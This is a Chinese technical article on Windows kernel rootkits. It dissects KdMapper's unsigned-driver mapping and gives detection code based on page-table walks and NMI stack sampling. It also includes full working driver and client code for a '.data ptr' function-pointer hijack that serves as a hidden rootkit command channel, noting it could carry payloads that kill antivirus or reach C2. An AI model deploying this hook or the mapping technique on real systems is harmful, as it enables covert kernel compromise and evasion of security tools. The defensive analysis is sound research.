前言

内核Rootkit以其高权限、高隐蔽性而著称,而传统的防御手段效率过于低下,不适合实战攻防。本文从内核Rootkit攻击的原理出发,剖析了著名的Kdmapper手动映射驱动项目,再从内存扫描、堆栈遥测、通信检测三个角度提出了较为先进的防御手段,帮助读者理解现代内核安全领域的攻防实践手法。

KdMapper

[Kdmapper](TheCruZ/kdmapper: KDMapper is a simple tool that exploits iqvw64e.sys Intel driver to manually map non-signed drivers in memory)可能是最有名的内核Rootkit项目,利用了早些年intel驱动中的任意内核地址读写漏洞实现了手动将驱动映射至内核地址空间中执行,绕过了Windows的驱动签名验证。

项目源码中的核心功能函数是kdmapper::MapDriver,首先分配内存:

1	ULONG64 kernel_image_base = 0;
2	if (mode == AllocationMode::AllocateIndependentPages)
3	{   // 这个模式是防止分配出大页内存
4		kernel_image_base = intel_driver::MmAllocateIndependentPagesEx(image_size);
5	}
6	else { // AllocatePool by default
7		kernel_image_base = intel_driver::AllocatePool(nt::POOL_TYPE::NonPagedPool, image_size);
8	}

接着是解析PE结构、重定位等工作,与DLL的反射加载类似,这里就不贴了。然后将拉伸映射好的PE内存写入内核:

1		// Write fixed image to kernel
2
3		if (!intel_driver::WriteMemory(realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) {
4			Log(L"[-] Failed to write local image to remote image" << std::endl);
5			kernel_image_base = realBase;
6			break;
7		}

设置页属性为可执行:

1				if (!intel_driver::MmSetPageProtection(secAddr, secSize, prot)) {
2					Log(L"[-] Failed to set protection for section: " << (char*)sec->Name << std::endl);
3				}

接着调用DriverEntry:

1		NTSTATUS status = 0;
2		if (!intel_driver::CallKernelFunction(&status, address_of_entry_point, (PassAllocationAddressAsFirstParam ? realBase : param1), param2)) {
3			Log(L"[-] Failed to call driver entry" << std::endl);
4			kernel_image_base = realBase;
5			break;
6		}

这里的CallKernelFunction实现比较有意思,Hook了NtAddAtom函数,jump到自己的DriverEntry执行

核心功能点如上;Kdmapper项目还抹除了PiDDBCacheTableg_KernelHashBucketListMmUnloadedDrivers中漏洞驱动的加载痕迹,在驱动加载这方面几乎没法检测了,有一个项目从Kdmapper中专门摘出了这一部分,做的很优秀:FiYHer/system_trace_tool: 内核驱动加载/卸载痕迹清理,努力绕过反作弊吧 PiDDBCacheTable and MmLastUnloadedDriver

Kdmapper只是一个引子,有大量的内核Rootkit使用了类似Kdmapper的加载方式,利用的漏洞驱动也百花齐放。最近几年,在传统内存检测的基础上,页表扫描的方法被提出;插中断扫描堆栈的方法也对Rootkit线程捕获很有效果。下面我将从这几个方面出发,让rootkit无所遁形。

PTE Walk

以往的内存扫描有两种,分别是扫描线性地址或物理地址。这两种方法的缺陷都是很大的,比如如下的扫描线性地址伪代码:

 1NTSTATUS
 2CheckVirtualAddress()
 3{
 4    ULONG64 start = 0xFFFF080000000000;
 5    ULONG64 end   = 0xFFFFFFFFFFFFFFFF;
 6    for(ULONG idx = 0;start + idx*PAGE_SIZE < end;idx++){
 7        // 按页检查Rookit
 8        CheckPage(start+idx*PAGE_SIZE);
 9    }
10}

整个内核的地址空间有248TB,像这样逐页扫描的耗时是相当恐怖的,完全不能使用;扫描物理地址就更不用说,因为物理地址是不连续的,且同一个物理地址映射到多个虚拟地址,处理起来很麻烦。

因此,一种基于页表的新扫描办法被提出,称其为PTE Walk,我们来看看X64下的页表结构:

image-20250923170606856

X64下采用了四级页表的结构,从高到低分别是PML4,PDPT,PD,PT,每一个页表的页表项结构基本一样,如下:

 1typedef union _HARDWARE_PTE_X64 {
 2    ULONG64 value;
 3    struct {
 4        ULONG64 present : 1;            // bit 0
 5        ULONG64 write : 1;              // bit 1
 6        ULONG64 owner : 1;
 7        ULONG64 writeThrough : 1;
 8        ULONG64 cacheDisable : 1;
 9        ULONG64 accessed : 1;
10        ULONG64 dirty : 1;
11        ULONG64 large_page : 1;         // bit 7
12        ULONG64 global : 1;
13        ULONG64 copyOnWrite : 1;
14        ULONG64 prototype : 1;
15        ULONG64 reserved0 : 1;
16        ULONG64 page_frame_number : 36; // bits 12..47
17        ULONG64 reserved1 : 4;
18        ULONG64 softwareWsIndex : 11;
19        ULONG64 noExecute : 1;          // bit 63
20    } Bits;
21} HARDWARE_PTE_X64, * PHARDWARE_PTE_X64;

其中有一些很关键的位,比如present表示页表项管理的这一页是否在物理地址中有映射,write表示是否可写,noExecute表示是否可执行,large_page表示是否为大页。通常来说一页是0x1000字节大小,由PTE管理;而大页可能是2M或者1G大小,由PDE或PDPTE管理。

通过判断页表是否为大页以及是否有效,我们可以跳过大部分无效的页,专注于少量真正被映射的页。(为什么说是少量?因为真实的物理内存远远小于248TB)来看看如下代码:

  1static VOID WalkAndPrint(void)
  2{
  3    DbgPrintEx(77, 0, "[Walk] enter, Range=[%p, %p)\n", (PVOID)gScanStart, (PVOID)gScanEnd);
  4
  5    // 通过CR3拿到PML4的表基地址
  6    CR3_X64 temp_cr3;
  7    temp_cr3.value = __readcr3();
  8
  9    ULONGLONG cr3_pa = (temp_cr3.Bits.PhysicalAddress << 12);
 10    PVOID cr3_va = VaFromPa(cr3_pa);// 映射为线性地址,进行线性扫描
 11
 12    if (!cr3_va || !MmIsAddressValid(cr3_va)) {
 13        DbgPrintEx(77, 0, "[Walk][FATAL] VaFromPa(CR3=0x%llX) -> %p invalid\n", cr3_pa, cr3_va);
 14        return;
 15    }
 16    DbgPrintEx(77, 0, "[Walk] CR3.PA=0x%llX -> CR3.VA=%p\n", cr3_pa, cr3_va);
 17
 18    ULONGLONG runBase = 0, runSize = 0;
 19    PAGE_PROPERTIES runProps = { 0 };
 20
 21    // 算出起始、结束地址对应的PML4索引,即Bit[39...47]
 22    ULONG pml4_start = (ULONG)((gScanStart >> 39) & 0x1FF);
 23    ULONG pml4_end = (ULONG)(((gScanEnd - 1) >> 39) & 0x1FF);
 24
 25    // 从PML4开始,像操作系统解析线性地址那样,手动解析地址进行扫描
 26    for (ULONG i = pml4_start; i <= pml4_end; ++i)
 27    {
 28
 29        PHARDWARE_PTE_X64 pml4e = (PHARDWARE_PTE_X64)((PUCHAR)cr3_va + i * sizeof(ULONG64));
 30        // 通过判断Present位迅速跳过无效页,极大加快扫描速度
 31        if (!MmIsAddressValid(pml4e) || !pml4e->Bits.present) {
 32            continue;
 33        }
 34
 35        // PDPT
 36        ULONGLONG pdpt_pa = ((ULONGLONG)pml4e->Bits.page_frame_number << 12);
 37        PVOID pdpt_va = VaFromPa(pdpt_pa);
 38        // 同上
 39        if (!pdpt_va || !MmIsAddressValid(pdpt_va)) {
 40            continue;
 41        }
 42
 43        ULONG pdpt_start = (ULONG)((gScanStart >> 30) & 0x1FF);
 44        ULONG pdpt_end = (ULONG)(((gScanEnd - 1) >> 30) & 0x1FF);
 45        if (i != pml4_start) pdpt_start = 0;
 46        if (i != pml4_end)   pdpt_end = 511;
 47
 48        for (ULONG x = pdpt_start; x <= pdpt_end; ++x)
 49        {
 50            PHARDWARE_PTE_X64 pdpte = (PHARDWARE_PTE_X64)((PUCHAR)pdpt_va + x * sizeof(ULONG64));
 51            if (!MmIsAddressValid(pdpte))
 52                break;
 53
 54            ULONGLONG pdpt_va_base = Canonicalize48(((ULONGLONG)i << 39) | ((ULONGLONG)x << 30));
 55            ULONGLONG pdpt_va_end = pdpt_va_base + SPAN_PDPT;
 56            if (pdpt_va_end <= gScanStart || pdpt_va_base >= gScanEnd)
 57                continue;
 58
 59            if (!pdpte->Bits.present)
 60                continue;
 61
 62            // 处理1GB大页
 63            if (pdpte->Bits.large_page) {
 64                PAGE_PROPERTIES props;
 65                props.R = (BOOLEAN)pdpte->Bits.present;
 66                props.W = (BOOLEAN)pdpte->Bits.write;
 67                props.X = (BOOLEAN)!pdpte->Bits.noExecute;
 68                ULONGLONG segBeg = UMAX64(pdpt_va_base, gScanStart);
 69                ULONGLONG segEnd = UMIN64(pdpt_va_end, gScanEnd);
 70                AddRange(segBeg, segEnd - segBeg, &props, &runBase, &runSize, &runProps);
 71                continue;
 72            }
 73
 74            // PD
 75            ULONGLONG pd_pa = ((ULONGLONG)pdpte->Bits.page_frame_number << 12);
 76            PVOID pd_va = VaFromPa(pd_pa);
 77            if (!pd_va || !MmIsAddressValid(pd_va)) {
 78                continue;
 79            }
 80
 81            ULONG pd_start = (ULONG)((gScanStart >> 21) & 0x1FF);
 82            ULONG pd_end = (ULONG)(((gScanEnd - 1) >> 21) & 0x1FF);
 83            if (i != pml4_start || x != pdpt_start) pd_start = 0;
 84            if (i != pml4_end || x != pdpt_end)   pd_end = 511;
 85
 86            for (ULONG y = pd_start; y <= pd_end; ++y)
 87            {
 88                PHARDWARE_PTE_X64 pde = (PHARDWARE_PTE_X64)((PUCHAR)pd_va + y * sizeof(ULONG64));
 89                if (!MmIsAddressValid(pde))
 90                    break;
 91
 92                ULONGLONG pd_va_base = Canonicalize48(((ULONGLONG)i << 39) |
 93                    ((ULONGLONG)x << 30) |
 94                    ((ULONGLONG)y << 21));
 95                ULONGLONG pd_va_end = pd_va_base + SPAN_PD;
 96                if (pd_va_end <= gScanStart || pd_va_base >= gScanEnd)
 97                    continue;
 98
 99                if (!pde->Bits.present)
100                    continue;
101
102                // 处理2MB大页
103                if (pde->Bits.large_page) {
104                    PAGE_PROPERTIES props;
105                    props.R = (BOOLEAN)pde->Bits.present;
106                    props.W = (BOOLEAN)pde->Bits.write;
107                    props.X = (BOOLEAN)!pde->Bits.noExecute;
108                    ULONGLONG segBeg = UMAX64(pd_va_base, gScanStart);
109                    ULONGLONG segEnd = UMIN64(pd_va_end, gScanEnd);
110                    AddRange(segBeg, segEnd - segBeg, &props, &runBase, &runSize, &runProps);
111                    continue;
112                }
113
114                // PT
115                ULONGLONG pt_pa = ((ULONGLONG)pde->Bits.page_frame_number << 12);
116                PVOID pt_va = VaFromPa(pt_pa);
117                if (!pt_va || !MmIsAddressValid(pt_va)) {
118                    continue;
119                }
120
121                ULONG pt_start = (ULONG)((gScanStart >> 12) & 0x1FF);
122                ULONG pt_end = (ULONG)(((gScanEnd - 1) >> 12) & 0x1FF);
123                if (i != pml4_start || x != pdpt_start || y != pd_start) pt_start = 0;
124                if (i != pml4_end || x != pdpt_end || y != pd_end)   pt_end = 511;
125
126                for (ULONG z = pt_start; z <= pt_end; ++z)
127                {
128                    PHARDWARE_PTE_X64 pte = (PHARDWARE_PTE_X64)((PUCHAR)pt_va + z * sizeof(ULONG64));
129                    if (!MmIsAddressValid(pte))
130                        break;
131
132                    ULONGLONG va = Canonicalize48(((ULONGLONG)i << 39) |
133                        ((ULONGLONG)x << 30) |
134                        ((ULONGLONG)y << 21) |
135                        ((ULONGLONG)z << 12));
136                    if (va + SPAN_PT <= gScanStart) continue;
137                    if (va >= gScanEnd) break;
138
139                    // 处理正常的4KB小页
140                    if (pte->Bits.present) {
141                        PAGE_PROPERTIES props;
142                        props.R = (BOOLEAN)pte->Bits.present;
143                        props.W = (BOOLEAN)pte->Bits.write;
144                        props.X = (BOOLEAN)!pte->Bits.noExecute;
145                        AddRange(va, SPAN_PT, &props, &runBase, &runSize, &runProps);
146                    }
147                }
148            }
149        }
150    }
151
152    
153    EmitRun(runBase, runSize, &runProps);
154    DbgPrintEx(77, 0, "[Walk] leave\n");
155}

测试如下,我分别在使用kdmapper手动映射驱动前、后进行了扫描;首先看看驱动被映射的位置

image-20250923172512108

再看看扫描的结果对比:

image-20250923172544494

显然kdmapper分配内存然后映射驱动这一特征点被我们捕捉到了,此时杀毒/反作弊对可执行页进一步扫描,则可以检测到Rookit,或者提取其特征。更重要的是,这一方法扫描整个内核空间耗时不超过一秒,是一种相当高校、准确的Anti-Rootkit方法。

NMI

现在再来看看扫描Rootkit的另一类思想:中断。这种思想通过向CPU的各核心发送中断,打断正在执行的线程并对其堆栈合法性进行检查。对于kdmapper加载的这种rootkit来说,其堆栈中的返回地址一定不在合法模块内(模块踩踏除外),利用这一点可以捕捉到内核中正在执行的rootkit线程。

当然中断有很多种,像IPI、DPC、APC都可以打断线程执行我们的堆栈检查回调;我这里选择了NMI(Non-Maskable Interrupt)即不可屏蔽中断。使用如下代码向CPU所有核心发送NMI:

 1NTSTATUS
 2LaunchNonMaskableInterrupt(_In_ PNMI_CONTEXT NmiContext)
 3{
 4        if (!NmiContext)
 5                return STATUS_INVALID_PARAMETER;
 6
 7        PKAFFINITY_EX ProcAffinityPool =
 8            ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAFFINITY_EX), PROC_AFFINITY_POOL);
 9
10        if (!ProcAffinityPool)
11                return STATUS_MEMORY_NOT_ALLOCATED;
12		// 这里注册了NMI回调,打断后进入NmiCallback
13        PVOID registration_handle = KeRegisterNmiCallback(NmiCallback, NmiContext);
14
15        if (!registration_handle)
16        {
17                ExFreePoolWithTag(ProcAffinityPool, PROC_AFFINITY_POOL);
18                return STATUS_MEMORY_NOT_ALLOCATED;
19        }
20
21        LARGE_INTEGER delay = {0};
22        delay.QuadPart -= 100 * 10000;
23
24        for (ULONG core = 0; core < KeQueryActiveProcessorCount(0); core++)
25        {
26                KeInitializeAffinityEx(ProcAffinityPool);
27                KeAddProcessorAffinityEx(ProcAffinityPool, core);
28
29                DEBUG_LOG("Sending NMI");
30                HalSendNMI(ProcAffinityPool);
31
32                // 同一时间只能处理一个NMI,所以这里加个延时
33                // 确保NMI回调执行完毕
34                KeDelayExecutionThread(KernelMode, FALSE, &delay);
35        }
36
37        KeDeregisterNmiCallback(registration_handle);
38        ExFreePoolWithTag(ProcAffinityPool, PROC_AFFINITY_POOL);
39
40        return STATUS_SUCCESS;
41}

注意一个内核编程的细节,在高IRQL下执行代码要尽可能简单、短暂,否则操作系统有什么其他错误没法及时处理就会蓝屏。所以我们需要把堆栈检测分为采集堆栈+堆栈分析两个步骤,其中 采集堆栈在NmiCallback中完成。

回调函数主要参考周旋久师傅的方法,只有他这么做才不会蓝屏,直接在回调函数中调用RtlWalkFrameChain采集堆栈是会蓝屏的。

其代码如下:

KPCR是每个CPU核心私有的一个结构,存储了一些上下文切换时的寄存器信息,加速上下文切换

TSS在X64下基本不怎么用了,但其中保存了异常处理的栈地址

machineFrame是压入异常处理栈的一个结构,其中保存了返回地址RIP以及RSP,这正是我们需要的

 1NmiCallback(_In_ BOOLEAN Handled)
 2{
 3        UNREFERENCED_PARAMETER(Handled);
 4
 5        UINT64                 kpcr          = 0;
 6        TASK_STATE_SEGMENT_64* tss           = NULL;
 7        PMACHINE_FRAME         machineFrame  = NULL;
 8
 9        
10        kpcr          = __readmsr(IA32_GS_BASE);// 拿到当前CPU的KPCR
11        tss           = *(TASK_STATE_SEGMENT_64**)(kpcr + KPCR_TSS_BASE_OFFSET);// 0x8
12        machineFrame = tss->Ist3 - sizeof(MACHINE_FRAME);
13
14        {
15            // 在这里对堆栈检查,比如是否在有效模块内
16            // 不在的话则认为是内核shellcode
17            CheckStack(machineFrame->rip,machineFrame->rsp);
18            
19        }
20}

拿到RIP后,就可以判断其是否在正常的内核模块范围内,若不在,则判定为Rootkit

 1IsInstructionPointerInInvalidRegion(_In_ UINT64          RIP,
 2                                    _In_ PSYSTEM_MODULES SystemModules,
 3                                    _Out_ PBOOLEAN       Result)
 4{
 5        if (!RIP || !SystemModules || !Result)
 6                return STATUS_INVALID_PARAMETER;
 7
 8        
 9        for (INT i = 0; i < SystemModules->module_count; i++)
10        {
11            // 不会检查HAL层和PatchGuard的运行
12                PRTL_MODULE_EXTENDED_INFO system_module =
13                    (PRTL_MODULE_EXTENDED_INFO)((uintptr_t)SystemModules->address +
14                                                i * sizeof(RTL_MODULE_EXTENDED_INFO));
15
16                UINT64 base = (UINT64)system_module->ImageBase;
17                UINT64 end  = base + system_module->ImageSize;
18
19                if (RIP >= base && RIP <= end)
20                {
21                        *Result = TRUE;
22                        return STATUS_SUCCESS;
23                }
24        }
25
26        *Result = FALSE;
27        return STATUS_SUCCESS;
28}

利用NMI中断检测Rootkit有一个弊端,那就是Rootkit的运行要相对活跃一点,这样我们才能有效命中其线程;对于一些游戏外挂的rookit来说是比较管用的

通信检查

.data ptr hijack

在我的上一篇文章中讲了利用ETW挂钩系统调用,我们可以复用这一思想,对NtDeviceIoControl进行监控;因为BYOVD这样的攻击是利用合法驱动的漏洞来强杀EDR的,而合法驱动通常就采用IRP进行通信。

这又引出一个问题:如果Rootkit驱动是攻击者自己的呢?那很显然攻击者不会在使用Windows提供的这种官方通信手段了,而转而使用一些更隐蔽的通信手段,比如.data ptr劫持。

.data ptr劫持是在游戏外挂圈被提出的一个概念,它利用Patch Guard对.data段中的函数指针监控不严格这一特性,替换某些在3环能够直接调用,调用完毕后发送至内核的特殊函数,这类函数通常存在于win32k.syswin32kbase.sys

Windows的图形子系统原本是纯3环实现的,在后来的更新中被搬进了0环,由于微软工程师考虑不周暴露出了很多的安全漏洞,之前奇安信披露的StepBear技术就是在这个驱动中的。

这里我们介绍一种不依赖于高频线程的.data ptr劫持,在一定程度上能规避NMI中断命中Rootkit线程。

对于win32kbase.sys来说,这个特殊的驱动在会话空间中加载,它会被映射到GUI进程(比如Winlogon)中,因此我们想要替换.data ptr需要调用KeStackAttachProcess挂靠到Winlogon的上下文中,再通过特征码的方法定位要替换的函数指针。本人的测试系统为Win11 21H2,不同系统差异可能较大。

我们关注的函数指针位于ApiSetEditionCreateWindowStationEntryPoint中,如下:

image-20250923235151382

但是ApiSetEditionCreateWindowStationEntryPoint是未导出的,定位这个函数有点麻烦,不妨先定位其上层封装函数NtUserCreateWindowStation,这个函数是导出的

image-20250923235344722

下面是一个在指定模块定位导出函数的工具方法:

 1    PVOID
 2        GetSystemRoutineAddress(
 3            const PWCHAR& moduleName, 
 4            const PCHAR& functionToResolve
 5        )
 6    {
 7        PVOID moduleBase = EvscGetBaseAddrOfModule(moduleName);
 8
 9        DbgPrint("0x%lx\r\n", (ULONG_PTR)moduleBase);
10
11        if (!moduleBase)
12            return NULL;
13
14        // 解析PE头和导出表目录
15        PFULL_IMAGE_NT_HEADERS ntHeader = (PFULL_IMAGE_NT_HEADERS)((ULONG_PTR)moduleBase + ((PIMAGE_DOS_HEADER)moduleBase)->e_lfanew);
16        PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)moduleBase + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
17
18        PULONG addrOfNames = (PULONG)((ULONG_PTR)moduleBase + exportDir->AddressOfNames);
19        PULONG addrOfFuncs = (PULONG)((ULONG_PTR)moduleBase + exportDir->AddressOfFunctions);
20        PUSHORT addrOfOrdinals = (PUSHORT)((ULONG_PTR)moduleBase + exportDir->AddressOfNameOrdinals);
21
22        // 遍历导出目录
23        for (unsigned int i = 0; i < exportDir->NumberOfNames; ++i)
24        {
25            CHAR* currentFunctionName = (CHAR*)((ULONG_PTR)moduleBase + (ULONG_PTR)addrOfNames[i]);
26
27            
28
29            if (strcmp(currentFunctionName, functionToResolve) == 0)
30            {
31                PULONG addr = (PULONG)((ULONG_PTR)moduleBase + (ULONG_PTR)addrOfFuncs[addrOfOrdinals[i]]);
32                return (PVOID)addr;
33            }
34        }
35
36        return NULL;
37    }

定位NtUserCreateWindowStation

1PVOID funcAddr = GetSystemRoutineAddress(L"win32kbase.sys", "NtUserCreateWindowStation");

下面是ApiSetEditionCreateWindowStationEntryPoint中函数指针的特征部分,通过48 8B 05 ?? ?? ?? ?? 48 85 C0定位即可

image-20250923235328259

定位、替换指针的完整代码如下:

 1NTSTATUS 
 2	DriverEntry(
 3	_In_ PDRIVER_OBJECT   DriverObject,
 4	_In_ PUNICODE_STRING  RegistryPath
 5) {
 6	UNREFERENCED_PARAMETER(RegistryPath);
 7
 8	KAPC_STATE apcState = { 0 };
 9    //
10	// 将驱动线程挂靠到GUI程序Winlogon上,这样才能访问win32kbase.sys
11    //
12	UNICODE_STRING sWinLogon = RTL_CONSTANT_STRING(L"winlogon.exe");
13	HANDLE winlogonPid = Memory::EvscGetPidFromProcessName(sWinLogon);
14	DbgPrint("[*] winLogonPid: 0x%x\n", HandleToULong(winlogonPid));
15
16	PsLookupProcessByProcessId(winlogonPid, &g_pWinlogon);
17
18
19	//
20	// 共享内存用于写入Payload,返回的地址为g_hSharedMemory
21	//
22	if (!NT_SUCCESS(CreateSharedMemory()))
23	{
24		DbgPrint("[!] Could not create shared memory\n");
25		return STATUS_FAILED_DRIVER_ENTRY;
26	}
27    // 挂靠
28	KeStackAttachProcess(g_pWinlogon, &apcState);
29	{
30		// 
31		// 定位NtUserCreateWindowStation
32		//
33		PVOID funcAddr = Memory::EvscGetSystemRoutineAddress(L"win32kbase.sys", "NtUserCreateWindowStation");
34		if (!funcAddr)
35		{
36			KeUnstackDetachProcess(&apcState);
37			return STATUS_NOT_FOUND;
38		}
39		DbgPrint("[*] NtUserCreateWindowStation found at 0x%llx\n", (ULONG_PTR)funcAddr);
40
41
42        //
43        // 特征定位.data ptr
44        //
45		ULONG_PTR dataPtrPattern = (ULONG_PTR)FindPattern(
46			(PVOID)(funcAddr),
47			200, 
48			"\x48\x8B\x05\x00\x00\x00\x00\x48\x85\xC0", 
49			"xxx????xxx"
50		);
51		// 48 8B 05 ?? ?? ?? ?? 48 85 C0
52        
53		if (dataPtrPattern)
54		{
55			DbgPrint("    Pattern : 0x%llx\r\n", dataPtrPattern);
56			UINT32 offset = *(PUINT32)(dataPtrPattern + 3);
57			DbgPrint("    Offset  : 0x%lx\r\n", offset);
58			g_dataPtrAddress = dataPtrPattern + offset + 3 + 4;
59			DbgPrint("    .data ptr addr : 0x%llx\r\n", g_dataPtrAddress);
60		}
61		else
62		{
63			DbgPrint("[!] Pattern not found\r\n");
64			KeUnstackDetachProcess(&apcState);
65			return STATUS_NOT_FOUND;
66		}
67
68		// 
69		// 交换函数指针,实现Hook
70		//
71		*(PVOID*)&g_pOriginalFunction = _InterlockedExchangePointer((PVOID*)g_dataPtrAddress, HookedFunction);
72		DbgPrint("[*] .data ptr hooked\r\n");
73
74	}
75	KeUnstackDetachProcess(&apcState);
76
77	return STATUS_SUCCESS;
78}

我们的代码只用于简单的通信测试,Hook函数写的简单点:

 1INT HookedFunction(int a1, int a2, int a3, int a4, int a5, __int64 a6, __int64 a7, int a8)
 2{
 3	DbgPrint("[*] Hook triggered\r\n");
 4
 5	if (ExGetPreviousMode() == UserMode && g_pSharedMemory)
 6	{
 7		// 读取共享内存中3环写入的payload
 8		KAPC_STATE apc = { 0 };
 9		KeStackAttachProcess(g_pWinlogon, &apc);
10		PAYLOAD payload = *(PAYLOAD*)g_pSharedMemory;
11		DbgPrint("[*] Got command: %i\r\n", payload.cmdType);
12        // 标记已被执行过,让3环读取结果
13		(*((PAYLOAD*)g_pSharedMemory)).executed = 1;
14		(*((PAYLOAD*)g_pSharedMemory)).status = 0;
15		KeUnstackDetachProcess(&apc);
16	}
17
18	return g_pOriginalFunction(a1, a2, a3, a4, a5, a6, a7, a8);
19}

3环的实现就很简单了:

  • 获取到共享内存的地址
  • 调用CreateWindowsStationA触发0环hook,实现通信
 1INT
 2main()
 3{
 4    // 打开驱动创建的共享内存区域
 5    HANDLE hMapFile = OpenFileMappingW(FILE_MAP_ALL_ACCESS, FALSE, L"Global\\Rootkit");
 6    if (!hMapFile)
 7    {
 8        return 1;
 9    }
10    
11	// 将这一区域映射到自己的地址空间中
12    PAYLOAD* pSharedBuf = (PAYLOAD*)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(PAYLOAD));
13    if (!pSharedBuf)
14    {
15        return 2;
16    }
17
18    // 填充payload
19    PAYLOAD payload = { 0 };
20    payload.cmdType = CMD_LOG_MESSAGE;
21    payload.executed = 0;
22    RtlCopyMemory(pSharedBuf, &payload, sizeof(PAYLOAD));
23
24    // 触发Hook
25    std::cout << "[*] Triggering driver" << std::endl;
26    HWINSTA hWinSta = CreateWindowStationA(
27        "MyWinStation",
28        0,
29        WINSTA_ALL_ACCESS,
30        NULL
31    );
32
33    // 等待一秒,检查payload有没有被修改
34    while (!pSharedBuf->executed)
35        Sleep(1000);
36    std::cout << "[*] Status: " << pSharedBuf->status << std::endl;
37}

测试效果如下:

image-20250924002007692

在实际的rootkit中,可将payload替换成强杀杀毒软件或连接C2等功能。

检测

以上的通信手段仅仅替换了一个函数指针,想要检测是相对困难的。据我所知,目前有大量的.data ptr被应用于游戏外挂的通信中,反作弊的检测手段是捕捉到这些异常高频的函数调用,追踪到对应的内核函数,比如这里的NtUserCreateWindowStation,再检测其中的函数指针有没有被篡改,比如.data ptr指向了win32kbase.sys外的地址,那很显然是被篡改了。

此后,反作弊会标记这个.data ptr,下次则以特征扫描的方法直接对比是否被篡改。理论上,我们可以直接监控win32kbase.syswin32k.sysntoskrnl.exe这些易受攻击的驱动中的所有的函数指针,定时检测是否被篡改。但这几乎是不可行的,因为Windows中的可能被替换的函数指针太多了,就连PatchGuard自己都没法做到全部监控,再加上不同版本函数差异太大,任何杀毒或者反作弊都没有精力监控全部的函数指针。

参考文章及项目

[1] 反反 Rootkit 技术 - 第三部分:劫持指针 — (Anti-)Anti-Rootkit Techniques - Part III: Hijacking Pointers

[2] Kernel-Adventures/DataPtrHijack at main · eversinc33/Kernel-Adventures

[3] 简述常规的 " 驱动 .data 通信 " 如何利用/查找-软件逆向-看雪论坛-安全社区|非营利性质技术交流社区

[4] 使用NMI中断检测无模块驱动-编程技术-看雪论坛-安全社区|非营利性质技术交流社区